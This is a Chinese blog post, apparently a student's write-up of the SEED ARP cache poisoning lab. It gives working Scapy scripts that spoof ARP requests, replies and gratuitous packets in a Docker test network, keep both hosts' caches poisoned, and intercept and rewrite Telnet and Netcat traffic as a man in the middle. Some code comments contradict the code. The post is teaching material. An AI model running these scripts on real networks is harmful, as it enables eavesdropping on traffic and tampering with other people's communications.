ARP 缓存中毒攻击实验

ARP 缓存中毒攻击实验

概要

地址解析协议(ARP)是一种用于在给定IP地址的情况下查询链路层地址(例如MAC地址)的通讯协议。ARP协议是一个非常简单的协议,它并未实现任何安全措施。ARP缓存中毒攻击是对ARP协议的一种常见攻击方式。使用此类攻击,攻击者可以让受害者接受伪造的IP到MAC的映射。这会导致受害者的数据包被重定向到具有伪造MAC地址的计算机,从而导致潜在的中间人攻击。

SEED实验环境

在这里插入图片描述我们有一个攻击者机器(主机M),用于对其他两台机器HostA和HostB发起攻击。这三台机器必须在同一局域网内,因为ARP缓存中毒攻击仅限于局域网。
为方便读者在学习中调试, 这里介绍一些本实验的基础命令
dcbuild #docker-composebuild的别名,建立容器镜像
dcup #docker-composeup的别名,启动容器
dcdown #docker-composedown的别名 关闭容器

在启动后使用dockps 可以列出当前容器的ID,这个ID标识了不同的容器,使用ID可以进入容器操作容器。

在这里插入图片描述
使用ifconfig或者ip address命令可以列出该容器的接口以及IP地址、MAC地址。下图是列出了主机M的接口。
在这里插入图片描述
主机M有两个接口,eth0是主网络接口,IP4地址是10.9.0.105,netmask 255.255.255.0,MAC地址是02:42:0a:09:00:69,(这个很重要)。同理 进入A和B容器得到IP地址。

Address HWaddress ID
10.9.0.105 02:42:0a:09:00:69 dfa
10.9.0.6 02:42:0a:09:00:06 5f7
10.9.0.5 02:42:0a:09:00:05 f74

嗅探数据包
tcpdump-i eth0-n
这个命令可以帮我们嗅探数据包,注意 容器内只能嗅探进出容器的,比如我们在宿主机上面ping主机M。灵活使用tcpdump可以帮助我们更好调试。
在这里插入图片描述

任务1:ARP缓存中毒攻击

本任务的目的是使用数据包伪造对目标发起ARP缓存中毒攻击,使得当两台受害者机器A和B尝试相互通信时,其数据包将被攻击者拦截并修改,从而使攻击者成为A和B之间的中间人。这被称为中间人(MITM)攻击。在本任务中,我们的重点在于ARP缓存中毒部分。
下面是一个简单例子构建ARP报文

#!/usr/bin/env python3
from scapy.all import *  # 导入scapy全部功能模块

E = Ether()  # 创建以太网层对象(默认包含源/目的MAC地址)
A = ARP()    # 创建ARP层对象(默认包含源/目标IP/MAC地址)

A.op = 1     # 设置ARP操作码:1表示请求,2表示响应
pkt = E/A    # 组合以太网帧和ARP数据包(/表示协议层叠加)

sendp(pkt)   # 在第二层发送原始数据包(sendp用于链路层发送)

ARP工作在数据链路层,在单个局域网内工作,工作原理很简单,分为请求和相应
ARP请求:当主机A需要与主机B通信但不知道其MAC地址时,会在本局域网内广播发送ARP请求报文。报文中包含:发送方IP和MAC地址(主机A)、目标IP地址(主机B)、目标MAC地址为空(全0)。
可以理解为:主机A广播,我是**,我的IP地址是———,MAC地址是——,我想知道IP地址是———的主机的MAC地址是多少。
ARP响应: 主机B收到ARP请求后,若目标IP与自身匹配,则单播回复ARP响应报文,包含:发送方IP和MAC地址(主机B),目标IP和MAC地址(主机A),这里是单播原因在于主机A的MAC地址已经知道了,不需要在广播

任务1.A(使用ARP请求)在主机M上构造一个ARP请求包,将B的IP地址映射到M的MAC 地址,将该包发送给A并检查攻击是否成功。

ARP报文

#!/usr/bin/python3
from scapy.all import *

print("sending arp request")

target_ip = "10.9.0.5"   # 目标主机A的IP
spoof_ip = "10.9.0.6"    # 要伪造的IP(B的IP)
attacker_mac = "02:42:0a:09:00:69"  # 攻击者M的MAC地址

# 构造ARP请求包
ether = Ether()
arp = ARP()

# 以太网层:目标是A的MAC,源是攻击者的MAC
ether.dst = "ff:ff:ff:ff:ff:ff"  # 广播,确保A能收到
ether.src = attacker_mac

# ARP层:发送ARP请求,声称spoof_ip的MAC是攻击者的MAC
arp.op = 1  # 1表示ARP请求
arp.psrc = spoof_ip  # 伪造的IP(B的IP)
arp.hwsrc = attacker_mac  # 攻击者的MAC
arp.pdst = target_ip  # 目标IP(A的IP)

# 组合数据包并发送
pkt = ether / arp
sendp(pkt, inter=2, count=5)  # 连续发送10次,每2秒一次


将代码保存在volumes目录下 这个是宿主机和容器的共享文件夹。
进入主机A,arp -n,查看当前的缓存,发现还没有

[09/09/25]seed@VM:~/.../Labsetup$ docksh f74
root@f74c2b533f86:/# arp -n
root@f74c2b533f86:/# 

在M下运行spoof_arp_request.py文件。
结束后再次查看A的缓存,

root@f74c2b533f86:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.6                 ether   02:42:0a:09:00:69   C        

发现B的IP 10.9.0.6对应的MAC地址变成的M的,攻击成功。
任务1。A

任务1.B(使用 ARP响应)在主机M上构造一个ARP响应包,将B的IP地址映射到M的MAC 地址,并将该包发送给A并检查攻击是否成功。同时在以下两种情景下尝试攻击并汇报攻击结果

– 情景1:B的IP地址已经存在于A的缓存中。
– 情景2:B的IP地址未出现在A的缓存中。你可以使用命令"arp-d a.b.c.d"来删除IP地址a.b.c.d 对应的 ARP 缓存条目。

情景一 需要先让B地址存在A缓存中,可以先让A ping B的地址 有一个正确的IP MAC对应。
在这里插入图片描述
构建ARP相应报文代码如下

#!/usr/bin/env python3
from scapy.all import *


target_ip = "10.9.0.5"   # 目标主机A的IP
spoof_ip = "10.9.0.6"    # 要伪造的IP(B的IP)
attacker_mac = "02:42:0a:09:00:69"  # 攻击者M的MAC地址
target_mac = "02:42:0a:09:00:05"    # 目标主机A的MAC地址

# 构造ARP响应包
ether = Ether()
arp = ARP()

# 以太网层
ether.dst = target_mac  
ether.src = attacker_mac

# ARP层:发送ARP响应,声称spoof_ip的MAC是攻击者的MAC
arp.op = 2  # 2表示ARP响应
arp.psrc = spoof_ip  # 伪造的IP(B的IP)
arp.hwsrc = attacker_mac  # 攻击者的MAC
arp.pdst = target_ip  # 目标IP(A的IP)
arp.hwdst = target_mac  # 目标MAC(A的MAC)


# 组合数据包并发送
pkt = ether / arp
sendp(pkt, inter=2, count=5)  # 连续发送10次,每2秒一次

在M上运行上面代码,再次观察A的缓存,攻击成功!
在这里插入图片描述
情景二需要没有缓存下进行回应,删除缓存

arp -d 10.9.0.6

再次在M运行响应报文攻击,发现没有缓存,攻击失败
在这里插入图片描述

推测原因

已有缓存时能被修改的原因
ARP 协议设计上缺乏严格的身份验证机制,当目标主机已存在某 IP 的 ARP 缓存时:收到伪造的 ARP 响应后,大多数操作系统会无条件用新的 IP-MAC 映射覆盖原有缓存(即使没有主动发送过 ARP 请求)。
无缓存时难以新建的原因
当目标主机没有对应 IP 的 ARP 缓存时:主机通常只会接受自己主动发送的 ARP 请求所对应的响应(即 “请求 - 响应” 配对)。对于 “凭空出现的 ARP 响应”(没有对应的请求),多数操作系统会忽略该报文,不会新建缓存。这是一种基础的安全防护机制,避免无意义的缓存污染。

任务1.C(使用 ARP 免费消息)在主机M上构造一个ARP免费数据包,并将B的IP地址映射到M的MAC地址。请在与任务1.B中描述的相同两种情况下发起攻击。

ARP 免费数据包是一种特殊的ARP请求包,当一台宿主机器需要更新其他机器的ARP缓存中的过时信息时会使用它。
免费ARP数据包具有以下特点:
– 源和目标的IP地址相同,是发出该消息的主机的IP地址。
– ARP 头部和以太网头部的目标MAC地址都是广播MAC地址。
– 不期望有响应。

#!/usr/bin/env python3
from scapy.all import *
spoof_ip = "10.9.0.6"    # 要伪造的IP(B的IP)
attacker_mac = "02:42:0a:09:00:69"  # 攻击者M的MAC地址
# 构造ARP免费消息(特殊的ARP请求)
ether = Ether()
arp = ARP()
# 以太网层:目标是广播MAC
ether.dst = "ff:ff:ff:ff:ff:ff"  # 广播
ether.src = attacker_mac
# ARP免费消息特点:源IP和目标IP相同,都是要伪造的IP
arp.op = 2  # ARP请求
arp.psrc = spoof_ip  # 源IP = 伪造的IP(B的IP)
arp.pdst = spoof_ip  # 目标IP = 源IP(B的IP)
arp.hwsrc = attacker_mac  # 攻击者的MAC
arp.hwdst = "ff:ff:ff:ff:ff:ff"  # 目标MAC设为0
# 组合数据包并发送
pkt = ether / arp
sendp(pkt, inter=2, count=10)  # 连续发送10次,每2秒一次


过程和实验1.b一样,直接看结果,还是一个成功一个不成功
在这里插入图片描述

任务2:使用ARP缓存中毒攻击在Telnet 实施中间人攻击

主机A和B正在通过Telnet 进行通信,而主机 M 希望拦截它们之间的通信以便对A和B传送的数据进行修改。图 2描述了该设置。我们已经在容器内部创建了一个名为seed的帐户,密码是dees。你可以通过 Telnet 连接到此账户。
示意图如下
在这里插入图片描述

telnet:当从 A 机器通过 Telnet 登录 B 机器 后,在 A 的 Telnet 交互界面中输入内容,其显示和执行逻辑遵循 “输入在 A 端回显,执行和最终结果在 B 端生成并返回 A 端显示” 的原则,如下
在A上面telnet 10.9.0.6,连接到B。B使用tcpdump -i eth0 -n进行抓包,发现A端每敲下一个字符,B都会反应
在这里插入图片描述
现在的telnet连接正常。在A端ctrl+],输入quit,退出当前的telnet连接。

步骤1(发起ARP缓存中毒攻击)。 首先,主机M对A和B均执行ARP缓存中毒攻击,使得在A 的ARP缓存中,B的IP地址被映射到M的MAC地址;在B的ARP缓存中,A的IP地址也被映射到M的MAC地址。完成此步骤后,A和B之间的数据包都将发送给M。我们将使用任务1中的ARP缓存中毒攻击来实现这一目标。如果你能不断地发送伪造数据包(例如每5秒一次)就更好了。否则,伪造的映射可能会被替换。

#!/usr/bin/python3
from scapy.all import *

target_ip1 = "10.9.0.5"   # 目标主机A的IP
target_ip2 = "10.9.0.6"   # 目标主机B的IP

attacker_mac = "02:42:0a:09:00:69"  # 攻击者M的MAC地址

# 构造针对A的ARP欺骗包(伪装成B)
ether1 = Ether(dst="02:42:0a:09:00:05", src=attacker_mac)  
arp1 = ARP(op=1, psrc=target_ip2, hwsrc=attacker_mac, pdst=target_ip1)
pkt1 = ether1 / arp1

# 构造针对B的ARP欺骗包(伪装成A)
ether2 = Ether(dst="02:42:0a:09:00:06", src=attacker_mac)  
arp2 = ARP(op=1, psrc=target_ip1, hwsrc=attacker_mac, pdst=target_ip2)
pkt2 = ether2 / arp2

# 持续发送数据包(inter=2表示每2秒发送一次,count默认0表示无限循环)
print("开始持续发送ARP欺骗包)")
sendp([pkt1, pkt2], inter=2, loop=1)  

如上我们一直发送欺骗报文,使得AB缓存中相互的ip地址对应的MAC全为M的MAC地址。如下图,缓存已经被更改。
注意,这个程序一直在本实验需一直运行进行欺骗
在这里插入图片描述
步骤2(测试)。 在攻击成功后,请尝试在主机A和B之间相互ping,并汇报你的观察结果。请在报告中展示Wireshark 的结果。在执行此步骤之前,请确保主机M的IP转发(IPforwarding)已关闭。你可以通过以下命令完成此操作。
sysctl net.ipv4.ip_forward=0

发现相互无法ping通,
在这里插入图片描述
步骤3(开启IP 转发)。 现在我们将在主机M上开启IP转发,因此它将转发A和B之间的数据包。请运行以下命令并重复步骤2,描述你的观察结果。
sysctl net.ipv4.ip_forward=1

在这里插入图片描述
ping通了,而且发现了ICMP重定向。
这里触发ICMP重定向原因在于
当 A 发送流量到 M(以为是 B),M 转发给真 B 时,网络中的网关(比如10.9.0.105)会 “看到异常”:
网关的路由表中,A 和 B 是 “同一子网内的设备”,所以网关认为:A 应该直接把流量发给 B,而不是发给 “另一个设备(M)” 后再转发。因此,网关会向 A 发送 ICMP 重定向,告诉 A:“你访问 B,应该直接发,不用经过中间设备(M)转发”。

步骤4(实施中间人攻击)。 我们现在可以对A和B之间的Telnet数据进行修改。假设A是Telnet客户端,B是Telnet 服务器。在A连接到B上的Telnet服务器后,在A的Telnet窗口中键入的每个字符,都会生成一个TCP数据包并发送给B。我们希望拦截这个TCP数据包,并将每个输入的字符替换为一个固定字符(例如Z)。这样无论用户在A上键入什么内容,Telnet都会始终显示Z。

这边打开路由转发,并Atelnet到B上面,发现在A上面输入后回显,说明连接成功。
在这里插入图片描述
之后sysctl net.ipv4.ip_forward=0,关闭转发,发现在A输入东西之后没有反应。

在主机M上运行你写的程序,捕获从A到B发送的数据包,然后生成一个伪造数据包(只修改TCP数据部分)。对于从B到A的数据包(Telnet响应),我们不做任何更改,因此伪造数据包与原始的完全相同。

#!/usr/bin/env python3
from scapy.all import *

IP_A = "10.9.0.5"    
MAC_A="02:42:0a:09:00:05"
IP_B = "10.9.0.6"    
MAC_B = "02:42:0a:09:00:06"  
MY_IP = "10.9.0.105"  


def spoof_pkt(pkt):
    # 处理从A到B的数据包
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        del(newpkt[TCP].payload)
        
        if pkt[TCP].payload:
            original_data = pkt[TCP].payload.load
            data=original_data.decode()
            print(data)
            modified_data  = re.sub(r'[a-zA-Z]', r'Z', data)
            print(modified_data)
            send(newpkt/modified_data, verbose=0)
            print(f"替换数据: {original_data} -> {modified_data}")
        else:
            send(newpkt, verbose=0)
    
    # 处理从B到A的数据包
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A :
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=0)

# 精准过滤A↔B的Telnet原始通信包
f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff( filter=f, prn=spoof_pkt)

现在关闭转发,运行上述更改程序,我们在A上敲任何命令都是会显示Z,说明攻击成功
在这里插入图片描述

任务3:使用ARP缓存中毒攻击在Netcat 实施中间人攻击

本任务与任务2类似,只是主机A和B使用netcat而不是telnet进行通信。主机M希望拦截它们之间的通信并修改A和B通信的数据。你可以使用以下命令中建立A到B的netcatTCP连接

#在主机 B(服务器,IP 地址是 10.9.0.6)上运行以下命令:
 nc -lp 9090
#在主机 A(客户端)上运行以下命令:
 nc 10.9.0.6 9090

一旦建立连接,你可以在A中键入信息。每行信息都将被放入一个TCP数据包中发送给B,B只是显示该信息。你的任务是将信息中你的姓(拼音)替换为一串A,串的长度应与你姓的拼音长度相同,否则会扰乱TCP序列号,从而导致整个TCP连接失败。
建立后在A输入字符,B也会显示,说明成功了。
在这里插入图片描述
如下我们将逐步进行ARP攻击在这里插入图片描述
步骤1,步骤二
在这里插入图片描述
输入后B出现一样的,说明连接成功。

#!/usr/bin/env python3
from scapy.all import *

# We Only use ip
IP_A = "10.9.0.5"
IP_B = "10.9.0.6"


print("********** MITM attack on Netcat **********")


def spoof_pkt(pkt):
    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)

        if pkt[TCP].payload:
            data = pkt[TCP].payload.load
            print("Old:"+str(data))
            newdata = data.replace(b'mao', b'AAA') # replace name
            print("New:"+str(newdata))
            newpkt[IP].len = pkt[IP].len + len(newdata) - len(data)
            send(newpkt/newdata, verbose=False)
        else:
            send(newpkt, verbose=False)
    elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].chksum)
        send(newpkt, verbose=False)


f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(filter=f, prn=spoof_pkt)

步骤三,关闭路由,发现B没有显示
在这里插入图片描述
开启路由和netcat_mitm.py
在这里插入图片描述

关闭路由,没有反应
在这里插入图片描述

posted @ 2025-09-10 17:45  amaoamaoamao  阅读(8)  评论(0)    收藏  举报